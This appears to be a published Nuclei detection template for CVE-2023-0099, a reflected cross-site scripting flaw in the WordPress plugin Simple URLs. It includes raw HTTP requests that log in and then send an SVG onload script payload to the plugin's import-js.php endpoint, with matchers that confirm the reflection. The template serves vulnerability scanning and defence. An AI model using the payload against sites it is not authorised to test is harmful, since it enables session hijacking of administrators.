Simple URLs < 115 - Cross Site Scripting

ID: CVE-2023-0099

Severity: medium

Author: r3Y3r53

Tags: wpscan,packetstorm,cve,cve2023,xss,simple-urls,authenticated,wordpress,wp,wp-plugin,getlasso

Description

The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

YAML Source

id: CVE-2023-0099

info:
  name: Simple URLs < 115 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability can lead to session hijacking, defacement of websites, theft of sensitive information, and potential remote code execution.
  remediation: Fixed in version 115
  reference:
    - https://wpscan.com/vulnerability/fd50f2d6-e420-4220-b485-73f33227e8f8
    - https://wordpress.org/plugins/simple-urls/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0099
    - http://packetstormsecurity.com/files/176983/WordPress-Simple-URLs-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0099
    cwe-id: CWE-79
    epss-score: 0.00109
    epss-percentile: 0.43829
    cpe: cpe:2.3:a:getlasso:simple_urls:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: getlasso
    product: simple_urls
    framework: wordpress
  tags: wpscan,packetstorm,cve,cve2023,xss,simple-urls,authenticated,wordpress,wp,wp-plugin,getlasso

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body, "</script><svg/onload=alert(document.domain)>")'
          - 'contains(body_2, "search_term")'
        condition: and
# digest: 4a0a0047304502206ed9433dae3712127353169179bad20374e626ef3bbef48bc6fdd4f861521b0d0221009d5fff2b42517323e5f5acbe0b4aa674ae1e2ba86b021aca6e4e801062a0c6e9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0099.yaml"

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